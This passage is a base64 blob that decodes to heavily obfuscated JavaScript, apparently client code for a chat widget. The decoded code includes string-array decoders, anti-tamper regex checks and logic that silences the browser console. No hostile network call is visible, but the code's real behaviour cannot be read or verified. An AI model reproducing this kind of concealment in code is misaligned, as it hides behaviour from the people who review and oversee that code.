B4NGMwZihfMHgxYzk5MjUtIC0weDFjYixfMHg1OWI3MjIpO312YXIgXzB4NTg3NTc4PV8weDUxZmFhMDtyZXR1cm4gXzB4MWRjZDdhW18weDVlY2RiMigtMHhhOCwtMHhhNiwtMHhmMiwweDFjYSldKClbXzB4MTk4Y2Y1KDB4NjMyLDB4NzYyLDB4ODA0LDB4ODViKV0oXzB4NTg3NTc4W18weDE5OGNmNSgweGNkMSwweGEwMiwweDc5ZiwweGI3YSldKVtfMHg1ZWNkYjIoLTB4YTgsMHhjMywtMHgxYzYsMHgxYTApXSgpWydjb25zdHJ1Y3RvJysnciddKF8weDFkY2Q3YSlbXzB4NWVjZGIyKDB4MjNkLDB4MTIsMHgxYTEsMHgxYzcpXShfMHg1ODc1NzhbJ0xTcEVPJ10pO30pO18weDFkY2Q3YSgpO3ZhciBfMHhlMDRiNz0oZnVuY3Rpb24oKXt2YXIgXzB4NDJkMjFkPXsnZlRXc3InOmZ1bmN0aW9uKF8weDQxMWM1ZCxfMHg3ZjQ2MzYpe3JldHVybiBfMHg0MTFjNWQoXzB4N2Y0NjM2KTt9LCdNVU1Caic6XzB4MzE3ODhhKDB4NThhLDB4NTM4LDB4NDUyLDB4NDEzKSsncycsJ1VxSUhnJzpfMHgzMTc4OGEoMHg1YjgsMHgyZTUsMHg0MGQsMHgxYjYpLCdhblZaVic6ZnVuY3Rpb24oXzB4Mzc4OGMzLF8weDViMTQwZCl7cmV0dXJuIF8weDM3ODhjMzxfMHg1YjE0MGQ7fSwnbW1pZWknOidsZW5ndGgnLCdkTVVvTyc6XzB4M2M5ZjAxKDB4MjY2LDB4MzIyLDB4ZjksLTB4MWEzKSwnWlVHemknOmZ1bmN0aW9uKF8weGMxZjczZil7cmV0dXJuIF8weGMxZjczZigpO319O2Z1bmN0aW9uIF8weDMxNzg4YShfMHg0NzE5ZjIsXzB4MTcyYjdkLF8weDM5MWEwMyxfMHg1ZGNlODcpe3JldHVybiBfMHg0YzBmKF8weDE3MmI3ZC0weDE2NSxfMHg0NzE5ZjIpO312YXIgXzB4MjUyNDZlPSEhW107ZnVuY3Rpb24gXzB4M2M5ZjAxKF8weDJlYTVlZSxfMHg1ZTY4Y2IsXzB4NGNjOTM3LF8weDVhMjhiZil7cmV0dXJuIF8weDRjMGYoXzB4NGNjOTM3LSAtMHgzMjIsXzB4NWEyOGJmKTt9cmV0dXJuIGZ1bmN0aW9uKF8weDI2ZmExNyxfMHg1OTlkY2Epe2Z1bmN0aW9uIF8weDUzODkyZihfMHgxYjJiNzUsXzB4NTI2YjRhLF8weDFjMzc0ZCxfMHgzZTEwNDIpe3JldHVybiBfMHgzYzlmMDEoXzB4MWIyYjc1LTB4MTYwLF8weDUyNmI0YS0weGZjLF8weDFiMmI3NS0weDIxOCxfMHgzZTEwNDIpO312YXIgXzB4NGYyMzk2PXsnT2ZDbW8nOmZ1bmN0aW9uKF8weGU4NWQ3ZSxfMHg0MTdiNDgpe2Z1bmN0aW9uIF8weDI0ZTk3MChfMHgyOWM5ZDcsXzB4NGMzNjI3LF8weDE0ODc5MSxfMHg0OTc2MmIpe3JldHVybiBfMHg0YzBmKF8weDQ5NzYyYi0gLTB4YzIsXzB4MTQ4NzkxKTt9cmV0dXJuIF8weDQyZDIxZFtfMHgyNGU5NzAoMHg2NWEsMHg0OGYsMHg3OGQsMHg2MjYpXShfMHhlODVkN2UsXzB4NDE3YjQ4KTt9LCdrRW1lYSc6XzB4NDJkMjFkW18weDMzNzUwZSgweDYwMCwweDYwYywweDgwNiwweDkxMCldLCdsc3JPRCc6XzB4MzM3NTBlKDB4NjRlLDB4NDhhLDB4NThiLDB4NTBhKSwnZUlYQnInOl8weDQyZDIxZFsnVXFJSGcnXSwnQ3dET2wnOmZ1bmN0aW9uKF8weDMxMzA2NCxfMHgxNDZhMTQpe3JldHVybiBfMHg0MmQyMWRbJ2FuVlpWJ10oXzB4MzEzMDY0LF8weDE0NmExNCk7fSwnZ09LaXMnOl8weDMzNzUwZSgweDdjYSwweDVhNiwweDdmMCwweDVmMSksJ1FHTlhqJzpfMHg0MmQyMWRbJ21taWVpJ10sJ0hOVVZ4JzpfMHg1Mzg5MmYoMHgzNWYsMHg1MTgsMHgxNzMsMHhjNCkrJ20nLCdIREhndCc6XzB4NTM4OTJmKDB4M2U4LDB4MmEyLDB4NDk2LDB4NmJiKSwnd1BoWVonOl8weDQyZDIxZFsnZE1Vb08nXSwndENlaWYnOmZ1bmN0aW9uKF8weDVhMjc1YSl7ZnVuY3Rpb24gXzB4NGYzMjhkKF8weDFkMDIwOSxfMHgzZWI0NDEsXzB4MjAyNTYwLF8weDc4YzE3NSl7cmV0dXJuIF8weDUzODkyZihfMHgxZDAyMDktMHgzMWYsXzB4M2ViNDQxLTB4MTg0LF8weDIwMjU2MC0weGM5LF8weDIwMjU2MCk7fXJldHVybiBfMHg0MmQyMWRbXzB4NGYzMjhkKDB4NWMwLDB4MmZiLDB4NzVkLDB4MzVkKV0oXzB4NWEyNzVhKTt9LCdNSEdWRyc6XzB4NTM4OTJmKDB4MjZhLDB4NTQ1LDB4NTJkLC0weDI3KX0sXzB4NDUzMjBjPV8weDI1MjQ2ZT9mdW5jdGlvbigpe2Z1bmN0aW9uIF8weDIxM2NlNShfMHgzODNlNTcsXzB4MTkzYWEwLF8weDM3YzAyZSxfMHg1Y2FjZDkpe3JldHVybiBfMHg1Mzg5MmYoXzB4NWNhY2Q5LTB4NDQsXzB4MTkzYWEwLTB4MWIzLF8weDM3YzAyZS0weGI4LF8weDM4M2U1Nyk7fWZ1bmN0aW9uIF8weDE2ZmNlNyhfMHgyNzBhYmIsXzB4MmExMjY0LF8weDFmZDcxZixfMHgzOTg5MTIpe3JldHVybiBfMHgzMzc1MGUoXzB4Mzk4OTEyLF8weDJhMTI2NC0weDEwNyxfMHgyNzBhYmItIC0weDJlYixfMHgzOTg5MTItMHgxZTIpO31pZihfMHg0ZjIzOTZbJ01IR1ZHJ109PT1fMHgxNmZjZTcoMHgyMTEsMHhiNywweDFmOSwweDI5MSkpe18weDRmMjM5NlsnT2ZDbW8nXShfMHg1ZDllNWYsdGhpcylbXzB4NGYyMzk2W18weDE2ZmNlNygweDUzZCwweDMwZiwweDNiOCwweDRiNildXShfMHg0ZjIzOTZbXzB4MjEzY2U1KDB4MmQ2LDB4NDlmLDB4MzNhLDB4MWUxKV0pO3ZhciBfMHg0Yjg2ZmM9XzB4NGYyMzk2W18weDIxM2NlNSgweDJiYSwweDJmYywweDRjNSwweDQzMCldKF8weDJjM2VlZix0aGlzKVtfMHg0ZjIzOTZbJ2VJWEJyJ11dKCk7XzB4NGYyMzk2W18weDE2ZmNlNygweDQ4NCwweDJhYywweDZlNiwweDU5MyldKChfMHg0Yjg2ZmM9XzB4NGI4NmZjW18weDRmMjM5NlsnZ09LaXMnXV0oL1xzL2csJycpKVsnbGVuZ3RoJ10sLTB4MWJjZistMHg3N2IrLTB4MjM1NiotMHgxKXx8KF8weDRiODZmY1tfMHg0ZjIzOTZbXzB4MTZmY2U3KDB4NDRlLDB4MmRmLDB4M2E3LDB4NzNjKV1dPC0weDE2MGErLTB4MmUqLTB4MWIrMHg4YSoweDIwfHwhXzB4MjZiZDM0W18weDIxM2NlNSgweDMzYiwweDU3ZCwweDc0MiwweDUwNCldW18weDRmMjM5NlsnSE5VVngnXV0oXzB4NGI4NmZjKT9fMHg0ZjIzOTZbXzB4MTZmY2U3KDB4MzUyLDB4MzRkLDB4MjI3LDB4MjgxKV0oXzB4Mzk2ZDU5LHRoaXMpW18weDRmMjM5NlsnSERIZ3QnXV0oXzB4NGYyMzk2W18weDE2ZmNlNygweDEwMywweDE1YywtMHg4NSwweDNlZSldKVtfMHg0ZjIzOTZbXzB4MjEzY2U1KDB4MTZlLDB4MTAyLDB4MTUxLDB4Y2MpXV0oKTpfMHg0ZjIzOTZbXzB4MjEzY2U1KDB4Njc4LDB4NzFiLDB4MmZkLDB4NDhiKV0oXzB4M2VlOTI1KVtfMHgxNmZjZTcoMHgyNzcsMHgzZDMsMHgzOTgsMHgyZmQpXSgpKTt9ZWxzZXtpZihfMHg1OTlkY2Epe3ZhciBfMHgyYWFhMTA9XzB4NTk5ZGNhW18weDIxM2NlNSgweDRhZCwweDQzMywweDQyYSwweDFjZSldKF8weDI2ZmExNyxhcmd1bWVudHMpO3JldHVybiBfMHg1OTlkY2E9bnVsbCxfMHgyYWFhMTA7fX19OmZ1bmN0aW9uKCl7fTtfMHgyNTI0NmU9IVtdO2Z1bmN0aW9uIF8weDMzNzUwZShfMHgzMGEzZmUsXzB4MTU0YTA1LF8weDRhOWM3MyxfMHgxMGY2NzIpe3JldHVybiBfMHgzMTc4OGEoXzB4MzBhM2ZlLF8weDRhOWM3My0gLTB4MWUsXzB4NGE5YzczLTB4MjIsXzB4MTBmNjcyLTB4YzgpO31yZXR1cm4gXzB4NDUzMjBjO307fSgpKSxfMHgxNDIyOWY9XzB4ZTA0YjcodGhpcyxmdW5jdGlvbigpe3ZhciBfMHgyMGFhOWI9eydPdU1nUyc6ZnVuY3Rpb24oXzB4NjQwYjhlLF8weDFlNGE1NSl7cmV0dXJuIF8weDY0MGI4ZT09XzB4MWU0YTU1O30sJ0ltVlJ6JzpfMHgxNTU2Y2MoMHgzZjEsMHg1YjMsMHg2NWIsMHgzOWUpKydhdCcsJ25BUU9YJzpmdW5jdGlvbihfMHg1Yjk5ZWIsXzB4MzcyYmRiKXtyZXR1cm4gXzB4NWI5OWViKF8weDM3MmJkYik7fSwnRE9KcFknOmZ1bmN0aW9uKF8weDRhYWI1YyxfMHg0MzIzY2Epe3JldHVybiBfMHg0YWFiNWMoXzB4NDMyM2NhKTt9LCdldm52bSc6J25ld19jaGF0X20nKydlc3NhZ2UnLCdQRHZ1cSc6XzB4MTU1NmNjKDB4MTlkLDB4NjMzLDB4MzlkLDB4MjViKSwnelNHYksnOl8weDE1NTZjYygweDNiMSwweDViZSwweDQ0ZiwweDQyMSksJ2xLWVp1JzpfMHgyMTBlYjcoMHg2NGQsMHg3OWUsMHg4MzUsMHg3MjEpLCdkUmFpayc6XzB4MTU1NmNjKDB4NTg5LDB4NTVjLDB4NzMyLDB4OWNiKSwnbllDem0nOmZ1bmN0aW9uKF8weDVmMjIyMCxfMHg0ZWUwYWQpe3JldHVybiBfMHg1ZjIyMjAhPT1fMHg0ZWUwYWQ7fSwnS3Fqa2gnOl8weDE1NTZjYygweDZlZiwweDU0NSwweDZjMSwweDc3MSksJ3lhRlJDJzpmdW5jdGlvbihfMHgyNzE5ZjcsXzB4NGYzZDZjKXtyZXR1cm4gXzB4MjcxOWY3K18weDRmM2Q2Yzt9LCdDeXVubSc6XzB4MjEwZWI3KC0weDRjLDB4MjBiLDB4MWUwLDB4MWFlKStfMHgyMTBlYjcoMHg3NWUsMHg0YzQsMHg1NTMsMHg0YzIpLCd3dnJNRyc6J0pOc21TJywna1JIQ0YnOmZ1bmN0aW9uKF8weDVkYTU2Myl7cmV0dXJuIF8weDVkYTU2MygpO30sJ1hXRE12JzonbG9nJywnRXh6RFYnOid3YXJuJywnWU9ZdXAnOl8weDIxMGViNygweDRkOSwweDIzMywweDEyYywweDM1ZiksJ2N4VHBxJzpfMHgyMTBlYjcoMHgxMGMsMHgzM2UsMHgyYWUsMHgzMmIpLCdURHZhUic6XzB4MjEwZWI3KDB4NDFhLDB4MTEwLDB4MjA3LDB4M2JhKSwnSnhDZVMnOmZ1bmN0aW9uKF8weDE1Y2NhYSxfMHgzNGY0MTMpe3JldHVybiBfMHgxNWNjYWE8XzB4MzRmNDEzO30sJ25KV1BlJzpfMHgxNTU2Y2MoMHg2ODgsMHg1Y2UsMHg0YTYsMHg1ZmIpKycwJ307ZnVuY3Rpb24gXzB4MTU1NmNjKF8weDQzYmUyZixfMHgxODE2ZWQsXzB4M2RkN2M5LF8weDFiZjFkMyl7cmV0dXJuIF8weDRjMGYoXzB4M2RkN2M5LTB4MThlLF8weDFiZjFkMyk7fXZhciBfMHg1YjM5ZDI9ZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgzZmYyMWMoXzB4NDU1MjA0LF8weDY3ZTRlNixfMHgzYWExYzksXzB4YjA3MzNkKXtyZXR1cm4gXzB4MTU1NmNjKF8weDQ1NTIwNC0weDE4YSxfMHg2N2U0ZTYtMHg3LF8weGIwNzMzZC0weDFlOSxfMHg0NTUyMDQpO31mdW5jdGlvbiBfMHgyNzI3NGEoXzB4NDNjZTk0LF8weDU1NDRmMCxfMHgyNGUzMzQsXzB4NGZkYTAyKXtyZXR1cm4gXzB4MjEwZWI3KF8weDQzY2U5NC0weDhlLF8weDU1NDRmMC0weDM5LF8weDI0ZTMzNCxfMHg1NTQ0ZjAtMHgxMjkpO31pZihfMHgyMGFhOWJbJ25ZQ3ptJ10oJ1BlcW5kJyxfMHgyMGFhOWJbXzB4M2ZmMjFjKDB4OWY5LDB4NzhiLDB4YjI3LDB4YTQxKV0pKXt2YXIgXzB4NzJhM2RhO3RyeXtfMHg3MmEzZGE9XzB4MjBhYTliW18weDNmZjIxYygweGMyNCwweDk2ZCwweGFjNiwweDk1OSldKEZ1bmN0aW9uLF8weDIwYWE5YlsneWFGUkMnXShfMHgyMGFhOWJbXzB4MjcyNzRhKDB4NGRlLDB4MmQ4LDB4NTlmLDB4Mjg1KV0rKCd7fS5jb25zdHJ1JytfMHgzZmYyMWMoMHg3YmMsMHhiNDEsMHg4MTUsMHg5YzUpKydyblx4MjB0aGlzXHgyMikoJysnXHgyMCknKSwnKTsnKSkoKTt9Y2F0Y2goXzB4MTY3M2JkKXtpZihfMHgyMGFhOWJbXzB4MjcyNzRhKDB4ODBiLDB4NzVjLDB4N2VlLDB4OTMzKV09PT1fMHgyNzI3NGEoMHg1NGUsMHg1YjgsMHg1N2YsMHg1NjQpKV8weDcyYTNkYT13aW5kb3c7ZWxzZXtpZihfMHgyMGFhOWJbXzB4M2ZmMjFjKDB4OTMwLDB4OTkwLDB4YjJkLDB4OTIwKV0oXzB4NDQwYzEzKF8weDIwYWE5YltfMHgzZmYyMWMoMHhiMWQsMHhiMGUsMHhiNTYsMHg4NmIpXSlbXzB4MjcyNzRhKDB4NjNhLDB4N2Y4LDB4YTJjLDB4OGU5KV0sLTB4MWZlNistMHgxKi0weDE2MzkrMHgxKjB4OWFkKSlyZXR1cm47XzB4MjBhYTliW18weDI3Mjc0YSgweDQwMiwweDUxNCwweDVmOCwweDMxZCldKF8weDU1OGYzNyxfMHgyNzI3NGEoMHg5NDMsMHg2ODcsMHg4MjcsMHg2MmQpK18weDI3Mjc0YSgweGEwMSwweDc3OCwweDlkYywweDRkZikrJ3MnKVtfMHgzZmYyMWMoMHg4ODcsMHg0N2EsMHg4MDAsMHg1ZmQpXSgnJyksXzB4MjBhYTliW18weDNmZjIxYygweGMzNSwweGExNiwweDZkOSwweDk1OSldKF8weDViYTYyOCxfMHgyMGFhOWJbXzB4M2ZmMjFjKDB4ODYxLDB4NWI1LDB4YTYwLDB4ODZiKV0pWydzaG93J10oKTt2YXIgXzB4NWU0Yzg3PXt9O18weDVlNGM4N1snbWVzc2FnZSddPV8weDEwMTc0ZVtfMHgzZmYyMWMoMHhiOWEsMHhiZmUsMHhiZmQsMHg5YmIpXSxfMHg1ZTRjODdbJ18nXT0hIVtdLF8weDUzMTZhNyhfMHgxZGMyYTRbJ2JvZHknXSlbJ3RyaWdnZXInXShfMHgyMGFhOWJbXzB4MjcyNzRhKDB4OGQyLDB4NmVmLDB4NmVlLDB4Nzk1KV0sXzB4NWU0Yzg3KTtyZXR1cm47fX1yZXR1cm4gXzB4NzJhM2RhO31lbHNlIHJldHVybiB0aGlzWydvbiddKF8weDIwYWE5YltfMHgyNzI3NGEoMHg2NWUsMHg2MzMsMHg2ZTIsMHg2NzcpXSxfMHgzNmRiMjcpLHRoaXNbJ29uJ10oXzB4MjBhYTliW18weDNmZjIxYygweDYzNSwweDcyZSwweDViMCwweDViZCldLF8weDU3ZWYwNSksdGhpc1snb24nXShfMHgyMGFhOWJbJ2xLWVp1J10sXzB4MzBjNTNlKSx0aGlzWydvbiddKF8weDIwYWE5YltfMHgzZmYyMWMoMHg5NWQsMHg2NTIsMHg5MDIsMHg3M2MpXSxfMHgzZDk3MTEpLHRoaXM7fTtmdW5jdGlvbiBfMHgyMTBlYjcoXzB4NTg5NDQxLF8weDJkMzc3ZSxfMHg1ZTcyN2MsXzB4NDlkODMxKXtyZXR1cm4gXzB4NGMwZihfMHg0OWQ4MzEtMHg5MSxfMHg1ZTcyN2MpO312YXIgXzB4MzVhNTcxPV8weDIwYWE5YltfMHgyMTBlYjcoMHg1NGQsMHg1MzYsMHg3NDksMHg2ZDEpXShfMHg1YjM5ZDIpLF8weDI4YWY5MT1fMHgzNWE1NzFbXzB4MjEwZWI3KDB4N2JkLDB4NzdjLDB4NGZhLDB4NTdkKV09XzB4MzVhNTcxW18weDIxMGViNygweDc3MiwweDUzZSwweDZiZSwweDU3ZCldfHx7fSxfMHg0ZjRhZmU9W18weDIwYWE5YltfMHgxNTU2Y2MoMHg5MGIsMHg2NWYsMHg4NjAsMHg3YjEpXSxfMHgyMGFhOWJbXzB4MjEwZWI3KC0weGVmLDB4MmQ0LDB4NDkzLDB4MWQ3KV0sXzB4MjBhYTliW18weDE1NTZjYygweGM0LDB4MTYzLDB4MmZjLDB4MjRhKV0sJ2Vycm9yJyxfMHgyMGFhOWJbXzB4MTU1NmNjKDB4MjhmLDB4MjhjLDB4NGZiLDB4N2NiKV0sJ3RhYmxlJyxfMHgyMGFhOWJbXzB4MjEwZWI3KDB4MmQ3LDB4MTYyLDB4MjM5LDB4NDIxKV1dO2Zvcih2YXIgXzB4MWFjOWY1PS0weDI4MisweDE3MjcqMHgxKy0weDUqMHg0MjE7XzB4MjBhYTliW18weDIxMGViNygweGEyLDB4NGFmLDB4MmNhLDB4MmE1KV0oXzB4MWFjOWY1LF8weDRmNGFmZVtfMHgyMTBlYjcoMHg5MjUsMHg4ZDUsMHg5YzgsMHg2Y2YpXSk7XzB4MWFjOWY1Kyspe3ZhciBfMHgxNGExZT1fMHgyMGFhOWJbXzB4MjEwZWI3KDB4NzgzLDB4NDM5LDB4ODk2LDB4NzFiKV1bXzB4MTU1NmNjKDB4N2MwLDB4OTdkLDB4NmZjLDB4OTVmKV0oJ3wnKSxfMHg0YmM1NDM9LTB4ODMzKy0weDQqLTB4NWYyKy0weGY5NTt3aGlsZSghIVtdKXtzd2l0Y2goXzB4MTRhMWVbXzB4NGJjNTQzKytdKXtjYXNlJzAnOl8weDI4YWY5MVtfMHgyNDIxMGFdPV8weDQ2YjJkMDtjb250aW51ZTtjYXNlJzEnOnZhciBfMHg1OWQzZjA9XzB4MjhhZjkxW18weDI0MjEwYV18fF8weDQ2YjJkMDtjb250aW51ZTtjYXNlJzInOnZhciBfMHg0NmIyZDA9XzB4ZTA0YjdbXzB4MTU1NmNjKDB4NzdiLDB4M2FmLDB4NTc2LDB4NzJlKSsnciddW18weDIxMGViNygweDM0ZiwweDE2LDB4NTVjLDB4MmJlKV1bXzB4MjEwZWI3KDB4NjYxLDB4N2Y2LDB4OTU4LDB4NzRhKV0oXzB4ZTA0YjcpO2NvbnRpbnVlO2Nhc2UnMyc6dmFyIF8weDI0MjEwYT1fMHg0ZjRhZmVbXzB4MWFjOWY1XTtjb250aW51ZTtjYXNlJzQnOl8weDQ2YjJkMFsndG9TdHJpbmcnXT1fMHg1OWQzZjBbXzB4MjEwZWI3KC0weDVhLDB4ZTEsMHg5OSwweDFiNCldWydiaW5kJ10oXzB4NTlkM2YwKTtjb250aW51ZTtjYXNlJzUnOl8weDQ2YjJkMFtfMHgyMTBlYjcoMHg1NmUsMHg0YmYsMHg0ZTAsMHgyZDMpXT1fMHhlMDRiN1snYmluZCddKF8weGUwNGI3KTtjb250aW51ZTt9YnJlYWs7fX19KTtmdW5jdGlvbiBfMHg0YzBmKF8weDFjMTI4YyxfMHg1NDNjMjYpe3ZhciBfMHgyYTI4M2Q9XzB4MTg0YSgpO3JldHVybiBfMHg0YzBmPWZ1bmN0aW9uKF8weDM5MzRiMixfMHg0YzFmMDkpe18weDM5MzRiMj1fMHgzOTM0YjItKC0weDQwYSstMHgxMWJkKzB4MTZjOCk7dmFyIF8weDJmNzcwNT1fMHgyYTI4M2RbXzB4MzkzNGIyXTtpZihfMHg0YzBmWydtVG1PTUwnXT09PXVuZGVmaW5lZCl7dmFyIF8weDU5YzAyNj1mdW5jdGlvbihfMHgxOTBhNmMpe3ZhciBfMHg1ODJkYzY9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89Jzt2YXIgXzB4MTA5YzlkPScnLF8weDNjY2U5OT0nJyxfMHgyMDA3NDY9XzB4MTA5YzlkK18weDU5YzAyNjtmb3IodmFyIF8weGE2OTBlOT0weDIyMisweDIyYjkrLTB4MjRkYixfMHgzN2ZkYWMsXzB4MzEyNzBjLF8weDI1M2ZmZD0tMHgyMWQqLTB4YistMHgxKjB4YWFjKy0weGM5MztfMHgzMTI3MGM9XzB4MTkwYTZjWydjaGFyQXQnXShfMHgyNTNmZmQrKyk7fl8weDMxMjcwYyYmKF8weDM3ZmRhYz1fMHhhNjkwZTklKC0weDNhKi0weDI4KzB4MWY4KjB4YistMHhhKjB4MzEyKT9fMHgzN2ZkYWMqKDB4MWUwKy0weDhiMysweDcxMykrXzB4MzEyNzBjOl8weDMxMjcwYyxfMHhhNjkwZTkrKyUoLTB4YzliKi0weDErLTB4NGY5Ky0weDc5ZSkpP18weDEwOWM5ZCs9XzB4MjAwNzQ2WydjaGFyQ29kZUF0J10oXzB4MjUzZmZkKygweDEqMHg3YisweDFhY2UrMHg5Ki0weDMwNykpLSgtMHgxMyotMHgxYzgrLTB4NWEzKy0weDFjMmIpIT09LTB4YzViKzB4MjJkKjB4MTErLTB4NioweDQxYj9TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKDB4MSotMHgxOTNhKzB4MWMxKi0weDIrMHgxZGJiJl8weDM3ZmRhYz4+KC0oLTB4MTI1MSstMHgxKi0weDI0ZmErLTB4MTJhNykqXzB4YTY5MGU5JjB4MWVmZistMHgxMjUyKi0weDErLTB4MzE0YikpOl8weGE2OTBlOToweDIqLTB4ZTE5Ky0weDMxNyoweDErMHgxZjQ5KjB4MSl7XzB4MzEyNzBjPV8weDU4MmRjNlsnaW5kZXhPZiddKF8weDMxMjcwYyk7fWZvcih2YXIgXzB4NTYxMDQ0PS0weGFjKzB4MyotMHgxYjcrLTB4MSotMHg1ZDEsXzB4MzNhOTBlPV8weDEwOWM5ZFsnbGVuZ3RoJ107XzB4NTYxMDQ0PF8weDMzYTkwZTtfMHg1NjEwNDQrKyl7XzB4M2NjZTk5Kz0nJScrKCcwMCcrXzB4MTA5YzlkWydjaGFyQ29kZUF0J10oXzB4NTYxMDQ0KVsndG9TdHJpbmcnXSgweDQqLTB4ODVmKy0weDNmKi0weDk3KzB4MTkqLTB4MjUpKVsnc2xpY2UnXSgtKC0weDgwMSstMHgxMmViKzB4MWFlZSoweDEpKTt9cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChfMHgzY2NlOTkpO307XzB4NGMwZlsnZGxUWGtRJ109XzB4NTljMDI2LF8weDFjMTI4Yz1hcmd1bWVudHMsXzB4NGMwZlsnbVRtT01MJ109ISFbXTt9dmFyIF8weDMyY2M3YT1fMHgyYTI4M2RbMHgxKjB4NzFkKzB4MSotMHg4ZistMHg2OGUqMHgxXSxfMHgxNDA3NGI9XzB4MzkzNGIyK18weDMyY2M3YSxfMHhiZTJlZjc9XzB4MWMxMjhjW18weDE0MDc0Yl07aWYoIV8weGJlMmVmNyl7dmFyIF8weDMxMTAyZD1mdW5jdGlvbihfMHg1ZjA1NGIpe3RoaXNbJ2lsTFVucCddPV8weDVmMDU0Yix0aGlzWydjS2lZenQnXT1bMHg5Ki0weDI1MSsweDE4NyotMHg5Ky0weDIyOTkqLTB4MSwtMHgxMTUqMHgxNisweDEqLTB4YWYxKzB4MjJiZiwtMHgxZDkwKy0weDE0MmMrMHgzMWJjXSx0aGlzWydoQkRKSEcnXT1mdW5jdGlvbigpe3JldHVybiduZXdTdGF0ZSc7fSx0aGlzWydpWGN5R00nXT0nXHg1Y3crXHgyMCpceDVjKFx4NWMpXHgyMCp7XHg1Y3crXHgyMConLHRoaXNbJ2R4eWVaUyddPSdbXHgyN3xceDIyXS4rW1x4Mjd8XHgyMl07P1x4MjAqfSc7fTtfMHgzMTEwMmRbJ3Byb3RvdHlwZSddWyd6Q296UU8nXT1mdW5jdGlvbigpe3ZhciBfMHgyMGIyOGI9bmV3IFJlZ0V4cCh0aGlzWydpWGN5R00nXSt0aGlzWydkeHllWlMnXSksXzB4NWEyZTU2PV8weDIwYjI4YlsndGVzdCddKHRoaXNbJ2hCREpIRyddWyd0b1N0cmluZyddKCkpPy0tdGhpc1snY0tpWXp0J11bMHgxMTI1KzB4MjNiKjB4ZCsweDdmKi0weDVkXTotLXRoaXNbJ2NLaVl6dCddWy0weDMqLTB4OGI3Ky0weDExNzkrLTB4OGFjXTtyZXR1cm4gdGhpc1snalFRallOJ10oXzB4NWEyZTU2KTt9LF8weDMxMTAyZFsncHJvdG90eXBlJ11bJ2pRUWpZTiddPWZ1bmN0aW9uKF8weDdkZjk4Myl7aWYoIUJvb2xlYW4ofl8weDdkZjk4MykpcmV0dXJuIF8weDdkZjk4MztyZXR1cm4gdGhpc1snbnduSXVqJ10odGhpc1snaWxMVW5wJ10pO30sXzB4MzExMDJkWydwcm90b3R5cGUnXVsnbnduSXVqJ109ZnVuY3Rpb24oXzB4M2Q2NGExKXtmb3IodmFyIF8weDFkODVlNT0weDIyMWQrLTB4NSotMHgyOSstMHgxKjB4MjJlYSxfMHgyYWI0OGE9dGhpc1snY0tpWXp0J11bJ2xlbmd0aCddO18weDFkODVlNTxfMHgyYWI0OGE7XzB4MWQ4NWU1Kyspe3RoaXNbJ2NLaVl6dCddWydwdXNoJ10oTWF0aFsncm91bmQnXShNYXRoWydyYW5kb20nXSgpKSksXzB4MmFiNDhhPXRoaXNbJ2NLaVl6dCddWydsZW5ndGgnXTt9cmV0dXJuIF8weDNkNjRhMSh0aGlzWydjS2lZenQnXVsweDIqMHgxYjQrLTB4MTgwKi0weDEwKy0weDFiNjhdKTt9LG5ldyBfMHgzMTEwMmQoXzB4NGMwZilbJ3pDb3pRTyddKCksXzB4MmY3NzA1PV8weDRjMGZbJ2RsVFhrUSddKF8weDJmNzcwNSksXzB4MWMxMjhjW18weDE0MDc0Yl09XzB4MmY3NzA1O31lbHNlIF8weDJmNzcwNT1fMHhiZTJlZjc7cmV0dXJuIF8weDJmNzcwNTt9LF8weDRjMGYoXzB4MWMxMjhjLF8weDU0M2MyNik7fWZ1bmN0aW9uIF8weDE4NGEoKXt2YXIgXzB4MmY0NGM3PVsnRHhuTENHJywnQk5uZ0J1bScsJ3V2RGt1MW0nLCdBeGJBQmhlJywnQzJMTEJ3VycsJ0F4TGNBaGknLCdDMEg1RHVHJywnQUxIbHlOQycsJ3ROUE15MksnLCdCZkRvRE51JywnRE5uMXQxaScsJ29JYkh5Tm5WQmh2MHpxJywnbE1uVkJNemRCMnJMdUcnLCdCTmJ3eU5PJywnRGRPWG1kYUxvMmpIeVcnLCdDMERMQ2ZlJywnRDN6WXR1QycsJ0JoYjN2S2knLCdBdzVXRHhxJywndU1mZ3p2eScsJ3kyTEsnLCd5eG5MbkpxUycsJ0N4ZmtzMksnLCd0M3ZuejFtJywndTNITXFOaScsJ3lNdjN1M2EnLCd1aExQQktTJywndndMZkJ1ZScsJ0MxemR1aEMnLCdyeEhoRGZPJywnQ3U5VnV3RycsJ0NNdlhEd3ZaRGZiVkFxJywnQzFISHQzaScsJ3lOSGVBMmknLCd1aHY0Q3dTJywnemZyTnJ3QycsJ0VLbnh5eGUnLCdsTm4xeVcnLCdxdURud0s4JywneU5EMXoyZScsJ3Z4SFp2ZnknLCd1dWpURGdPJywnQjBua3RNZScsJ0JnckxDRycsJ3l4ckZCd3ZaQzJmTnpxJywnQjNMSnIyVycsJ0JZYlN6d2YyenNiMEFhJywnczNEeXNObScsJ3d2ZjRzMnEnLCdBTTFVdmVHJywnek05WUJ3ZjByeEhXQXEnLCdBTWZpQUs4JywncjN2ZXRoZScsJ0JNOVV6cScsJ3QybnZ1MUsnLCdrY0dPbElTUGtZS1JrcScsJ0NnMVVEYScsJ3F3alBFTE8nLCdCaExzejFhJywnRE12RnpNOVlCcScsJ3NOZnR5S0cnLCd6Z1R6dXUwJywndGh6YkR1TycsJ3FNRE96S3UnLCd0ZzlKQVcnLCdFd25iQWZpJywnQ01xVHlXJywnb1liTEVoYlBDTXZacHEnLCdsd3pWQjNyTENHJywnRWdUUHV4YScsJ3oydjAnLCd1dkxYcXZ1JywnQmVYVURLSycsJ0QzZllETmknLCdzS3JyQ3hPJywnQTNiVHVNNCcsJ0IwbjRxMk8nLCd6TTlZQnRQVUIzcU9sRycsJ3pMZmxBZXUnLCdEdzVSQk05M0JHJywncmU5a0NmSycsJ3EwbllDS3UnLCdES1RadmhxJywnQ012WkF4UEwnLCd3Z3J6c0tPJywnaTBYbHNmdmh3d3p1RXEnLCdDMmZOenEnLCd0ZnJ5REtDJywnRGdEeEFNbScsJ0RNdkZ6TTlZQnNLJywnQndyVEExSycsJ29OelBDMkxJQmd1JywnenhuMHJOdlNCZm5KQ0cnLCd2M0hlQzJxJywnck1EeHowUycsJ0FOTFp3Tm0nLCd1dURvd2dPJywnd2Zuc3VlbScsJ3dnSHRDS1MnLCd6ZTU